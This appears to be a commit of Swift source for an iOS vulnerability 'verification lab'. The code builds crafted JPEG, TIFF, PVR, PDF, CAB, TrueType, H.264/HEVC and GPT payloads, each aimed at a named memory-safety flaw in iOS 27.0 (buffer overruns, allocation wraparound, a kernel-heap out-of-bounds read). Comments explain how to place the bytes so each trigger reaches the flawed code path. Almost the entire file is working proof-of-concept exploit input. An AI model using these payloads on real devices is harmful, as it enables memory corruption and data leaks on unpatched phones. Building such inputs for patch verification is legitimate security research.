Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+434
View File
@@ -0,0 +1,434 @@
import Foundation
import UIKit
import ImageIO
import CoreGraphics
import CoreText
import AVFoundation
// MARK: - Additional payload builders for the remaining 27.2 fix families
extension JPEGPayload {
/// Family E — an APP marker whose stored (offset, length) run past the block it lives in.
///
/// On 27.0 `_APPx::writeToStream` copies `length` bytes from `base+offset` straight into
/// the emitted JPEG with no bounds math, so the re-encode path writes whatever sits past
/// the marker into the output file. 27.2 clamps with `end-offset` and logs
/// "marker 0x%04X is out of bounds".
/// A real, decodable JPEG carrying one APP2 marker whose declared length runs far past
/// the bytes actually present.
///
/// Placement matters and is not obvious: putting the marker right after SOI makes the
/// declared length swallow the SOF/DHT/scan headers, and the source fails to decode at
/// all. Placing it immediately *before* EOI is the construction that works — the image
/// decodes, and the marker still lands in the parsed properties, so it survives into the
/// re-encode path where `_APPx::writeToStream` runs.
static func appxOverrun(declaredLength: Int = 0xFFF0, actual: Int = 12) -> Data {
let base = [UInt8](solidJPEG())
guard base.count > 4 else { return solidJPEG() }
var marker: [UInt8] = [0xFF, 0xE2]
marker += [UInt8((declaredLength >> 8) & 0xff), UInt8(declaredLength & 0xff)]
marker += B.ascii("ICC_PROFILE\u{0}")
marker += Array(repeating: 0x41, count: max(0, actual))
// insert before the trailing EOI
var out = Array(base.dropLast(2))
out += marker
out += [0xFF, 0xD9]
return Data(out)
}
/// A small solid-colour JPEG produced by the system encoder.
static func solidJPEG(size: Int = 32) -> Data {
let colorSpace = CGColorSpaceCreateDeviceRGB()
guard let ctx = CGContext(data: nil, width: size, height: size, bitsPerComponent: 8,
bytesPerRow: size * 4, space: colorSpace,
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
ctx.setFillColor(CGColor(red: 0.2, green: 0.6, blue: 0.9, alpha: 1))
ctx.fill(CGRect(x: 0, y: 0, width: size, height: size))
guard let image = ctx.makeImage() else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
let data = NSMutableData()
guard let dest = CGImageDestinationCreateWithData(data, "public.jpeg" as CFString, 1, nil) else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
CGImageDestinationAddImage(dest, image, nil)
guard CGImageDestinationFinalize(dest) else {
return Data(minimalSOI() + [0xFF, 0xD9])
}
return data as Data
}
}
extension TIFFPayload {
/// Family B — a directory entry whose element count makes `count << log2(elemsize)`
/// wrap at 32 bits. The allocation shrinks to nothing while the conversion loop still
/// writes `count` entries.
static func dirEntryAllocWrap(count: UInt32 = 0x2000_0000, type: UInt16 = 6) -> Data {
var out = Data()
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
out.append(contentsOf: B.le32(8))
out.append(contentsOf: B.le16(3))
// width / height keep the reader interested
out.append(contentsOf: B.le16(256))
out.append(contentsOf: B.le16(3))
out.append(contentsOf: B.le32(1))
out.append(contentsOf: B.le16(1) + B.le16(0))
out.append(contentsOf: B.le16(257))
out.append(contentsOf: B.le16(3))
out.append(contentsOf: B.le32(1))
out.append(contentsOf: B.le16(1) + B.le16(0))
// the wrapped-count tag (SBYTE array, elemsize 1 — count alone is the multiplier)
out.append(contentsOf: B.le16(0x0100)) // ImageWidth-class tag reused as the carrier
out.append(contentsOf: B.le16(type))
out.append(contentsOf: B.le32(count))
out.append(contentsOf: B.le32(64)) // value offset
out.append(contentsOf: B.le32(0))
out.append(contentsOf: [UInt8](repeating: 0x00, count: 64))
return out
}
/// Family K — PVR whose declared bits-per-pixel is smaller than the channel sum.
static func pvrUnderBpp(width: UInt32 = 64, height: UInt32 = 64) -> Data {
var out = Data()
out.append(contentsOf: B.le32(0x0352_5650)) // 'PVR' v3
out.append(contentsOf: B.le32(0)) // flags
out.append(contentsOf: B.le32(0x0000_0000)) // pixel format (PVRTC-ish)
out.append(contentsOf: B.le32(0)) // colour space
out.append(contentsOf: B.le32(0)) // channel type
out.append(contentsOf: B.le32(height))
out.append(contentsOf: B.le32(width))
out.append(contentsOf: B.le32(1)) // depth
out.append(contentsOf: B.le32(1)) // num surfaces
out.append(contentsOf: B.le32(1)) // num faces
out.append(contentsOf: B.le32(1)) // mip count
out.append(contentsOf: B.le32(0)) // meta data size
// 4 channels of 8 bits declared, but bitsPerPixel below their sum
out.append(contentsOf: B.le32(8) + B.le32(8) + B.le32(8) + B.le32(8))
out.append(contentsOf: B.le32(8)) // bitsPerPixel — too small
out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
out.append(contentsOf: [UInt8](repeating: 0x33, count: 4096))
return out
}
}
extension PDFPayload {
/// Family C — a page whose rasterized dimensions exceed the decode buffer the caller
/// supplied. 27.0 rasterizes with no size validation and writes past the destination;
/// 27.2 computes `width * bpp` and rejects with "decode buffer too small".
static func rasterOverrun(width: Int = 4000, height: Int = 4000) -> Data {
var pdf = PDFBuilder()
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 \(width) \(height)] /Resources << >> /Contents 4 0 R >>")
let ops = "0 0 1 rg 0 0 \(width) \(height) re f"
pdf.add(4, "<< /Length \(ops.utf8.count) >>", B.ascii(ops))
return pdf.data()
}
}
// MARK: - CAB (LZX match before initialised history)
enum CABPayload {
/// Build a minimal Microsoft Cabinet with one folder and one CFDATA block whose LZX
/// stream opens with a match before any window history exists.
///
/// 27.0 computes `copy_pos = (w_pos - copy_pos) & w_mask` and copies straight out of an
/// uninitialised window; 27.2 adds `copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED`.
static func lzxEarlyMatch() -> Data {
var out = Data()
let cfdataPayload: [UInt8] = [
// CFDATA header is written separately below; this is the LZX block itself.
0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes
0x1E, // main tree: single match-ish symbol stream
0x00, 0x00, // length footer
0x00, 0x00, 0x00, 0x00, // offset
]
var cfdata = Data()
cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked)
cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count)))
cfdata.append(contentsOf: B.le16(0)) // reserved
cfdata.append(contentsOf: cfdataPayload)
var file = Data()
file.append(contentsOf: B.ascii("Cinder"))
file.append(contentsOf: B.le32(0)) // size
file.append(contentsOf: B.le32(0)) // offset in folder
file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive
file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time
file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA"
file.append(0)
let headerSize = 36
let folderSize = 8
let fileSize = file.count
let dataSize = cfdata.count
let total = headerSize + folderSize + fileSize + dataSize
out.append(contentsOf: B.ascii("MSCF"))
out.append(contentsOf: B.le32(0)) // reserved1
out.append(contentsOf: B.le32(UInt32(total))) // cabinet size
out.append(contentsOf: B.le32(0)) // reserved2
out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset
out.append(contentsOf: B.le32(0)) // reserved3
out.append(contentsOf: [3, 1]) // version minor, major
out.append(contentsOf: B.le16(1)) // folder count
out.append(contentsOf: B.le16(1)) // file count
out.append(contentsOf: B.le16(0)) // flags
out.append(contentsOf: B.le16(0x1234)) // set id
out.append(contentsOf: B.le16(0)) // cabinet index
// CFFOLDER
out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset
out.append(contentsOf: B.le16(1)) // data block count
out.append(contentsOf: B.le16(3)) // compression type 3 = LZX
out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB)
out.append(contentsOf: file)
out.append(contentsOf: cfdata)
return out
}
}
// MARK: - CoreText GDEF attach list
enum FontPayload {
/// A TrueType font whose GDEF LigCaretList chases a CaretValue offset far past the table.
/// 27.0 follows the chain with no end-check; 27.2 clamps against the GDEF table slice.
/// Layout: GDEF header 12 B, LigCaretList at 12, coverage at 24, LigGlyph at 28.
static func gdefCaretChase() -> Data {
var tables: [(String, [UInt8])] = []
// head
var head = [UInt8](repeating: 0, count: 54)
head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00
head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00
head[12] = 0x5F; head[13] = 0x0F // magic
tables.append(("head", head))
// hhea
var hhea = [UInt8](repeating: 0, count: 36)
hhea[0] = 0x00; hhea[1] = 0x01
hhea[34] = 0x00; hhea[35] = 0x00
tables.append(("hhea", hhea))
// maxp
var maxp = [UInt8](repeating: 0, count: 32)
maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00
maxp[4] = 0x00; maxp[5] = 0x01
tables.append(("maxp", maxp))
// hmtx
tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00]))
// loca (short format, 2 glyphs)
tables.append(("loca", [0x00, 0x00, 0x00, 0x04]))
// glyf
tables.append(("glyf", [0x00, 0x00, 0x00, 0x00]))
// cmap (format 4, minimal)
var cmap = [UInt8]()
cmap += B.be16(0) + B.be16(1)
cmap += B.be16(3) + B.be16(1) + B.be32(12)
cmap += B.be16(4) + B.be16(24) + B.be16(0)
cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0)
cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0)
tables.append(("cmap", cmap))
// GDEF with a LigCaretList whose CaretValue offset runs past the table
var gdef = [UInt8]()
gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0
gdef += B.be16(0x0000) // glyphClassDefOffset — absent
gdef += B.be16(0x0000) // attachListOffset — absent
gdef += B.be16(0x000C) // ligCaretListOffset → 12
gdef += B.be16(0x0000) // markAttachClassDefOffset — absent
// LigCaretList at 12
gdef += B.be16(0x000C) // coverageOffset → 24
gdef += B.be16(0x0001) // ligGlyphCount
gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28
gdef += B.be16(0x0000) // pad
// Coverage at 24: format 1, glyph 1
gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001)
// LigGlyph at 28
gdef += B.be16(0x0001) // caretCount
gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table
tables.append(("GDEF", gdef))
// --- assemble
let numTables = UInt16(tables.count)
var header = Data()
header.append(contentsOf: B.be32(0x0001_0000))
header.append(contentsOf: B.be16(numTables))
var searchRange: UInt16 = 1
var entrySelector: UInt16 = 0
while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 }
searchRange *= 16
header.append(contentsOf: B.be16(searchRange))
header.append(contentsOf: B.be16(entrySelector))
header.append(contentsOf: B.be16(numTables * 16 - searchRange))
var body = Data()
var offset = 12 + Int(numTables) * 16
var records = Data()
var blobs = Data()
for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) {
records.append(contentsOf: B.ascii(tag))
records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers)
records.append(contentsOf: B.be32(UInt32(offset)))
records.append(contentsOf: B.be32(UInt32(bytes.count)))
var padded = bytes
while padded.count % 4 != 0 { padded.append(0) }
blobs.append(contentsOf: padded)
offset += padded.count
}
body.append(records)
body.append(blobs)
var out = Data()
out.append(header)
out.append(body)
return out
}
}
// MARK: - H.264 / HEVC parameter-set probes
enum VideoPayload {
/// An Annex-B H.264 access unit whose slice count far exceeds the decoder plugin's cap.
/// 27.0's `AVD.videodecoder` accepts an unbounded slice count; 27.2 rejects with
/// "too many slices!".
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
var out = Data()
out.append(contentsOf: [0, 0, 0, 1])
// SPS
var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E]
// exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ...
sps += [0xE8, 0x38, 0x00]
// fake but structurally plausible; the decoder's own error tells us how far it got
sps += [UInt8](repeating: 0x00, count: 8)
out.append(contentsOf: sps)
out.append(contentsOf: [0, 0, 0, 1])
out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS
for i in 0..<sliceCount {
out.append(contentsOf: [0, 0, 0, 1])
let header: [UInt8] = [0x65, UInt8(0x88 | (i & 0x03)), 0x84, 0x00]
out.append(contentsOf: header)
out.append(contentsOf: [UInt8](repeating: 0x00, count: 4))
}
return out
}
/// A multilayer HEVC stream whose layer id is outside the validated range.
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
var out = Data()
out.append(contentsOf: [0, 0, 0, 1])
// VPS NAL with a two-byte header carrying an out-of-range layer id
out.append(contentsOf: [0x40, 0x01, layerID, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60])
out.append(contentsOf: [0, 0, 0, 1])
out.append(contentsOf: [0x42, 0x01, layerID, 0x01, 0x60, 0x00])
out.append(contentsOf: [UInt8](repeating: 0x00, count: 16))
return out
}
}
// MARK: - GPT (IOStorageFamily partition-name scan)
enum GPTPayload {
/// A protective-MBR + GPT whose partition-name field declares a 0x48-byte UTF-16 string
/// while the entry only has room for 0x24. 27.0's name scan bound is 0x48 → 72-byte
/// kernel-heap OOB read; 27.2 tightens it to 0x24.
static func oversizedName(entryCount: Int = 4) -> Data {
let sector = 512
var out = Data()
// protective MBR
var mbr = [UInt8](repeating: 0, count: sector)
mbr[446 + 4] = 0xEE
mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF
mbr[446 + 8] = 0x01
let totalSectors: UInt32 = 34
mbr[446 + 12] = UInt8(totalSectors & 0xff)
mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff)
mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff)
mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff)
mbr[510] = 0x55; mbr[511] = 0xAA
out.append(contentsOf: mbr)
// primary GPT header
var hdr = [UInt8](repeating: 0, count: sector)
hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20
hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54
hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00
let headerSize: UInt32 = 92
hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0
hdr[24] = 2 // my LBA
hdr[32] = 33 // alternate LBA
hdr[40] = 2 // first usable
hdr[48] = 32 // last usable
hdr[72] = 2 // entry array LBA
let entries: UInt32 = UInt32(entryCount)
hdr[80] = UInt8(entries & 0xff)
hdr[84] = 128 // entry size
out.append(contentsOf: hdr)
// partition entries
var array = Data()
for i in 0..<entryCount {
var entry = [UInt8](repeating: 0, count: 128)
entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB
entry[56] = UInt8(i + 1) // unique partition GUID byte
// name field at +56..+128 is 36 UTF-16 code units; declare a long run
let name = Array("CINDER27-OVERLONG-PARTITION-NAME".utf16)
for (k, unit) in name.enumerated() where 56 + k * 2 + 1 < 128 {
entry[56 + k * 2] = UInt8(unit & 0xff)
entry[56 + k * 2 + 1] = UInt8((unit >> 8) & 0xff)
}
array.append(contentsOf: entry)
}
out.append(array)
while out.count % sector != 0 { out.append(0) }
return out
}
static func describe(_ image: Data) -> [String] {
var lines: [String] = []
guard image.count >= 1024 else { return [tl("镜像过短")] }
let sig = [UInt8](image[512..<520])
guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
return [tl("无 GPT 签名")]
}
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B"))
let base = Int(entryLBA) * 512
for i in 0..<Int(entryCount) {
let off = base + i * Int(entrySize)
guard off + 128 <= image.count else { break }
var units: [UInt16] = []
for k in 0..<36 {
let lo = UInt16(image[off + 56 + k * 2])
let hi = UInt16(image[off + 56 + k * 2 + 1])
let unit = lo | (hi << 8)
if unit == 0 { break }
units.append(unit)
}
let name = String(decoding: units, as: UTF16.self)
if !name.isEmpty { lines.append(tl(" 分区 ") + "\(i)" + tl(": ") + "\(name)") }
}
return lines
}
}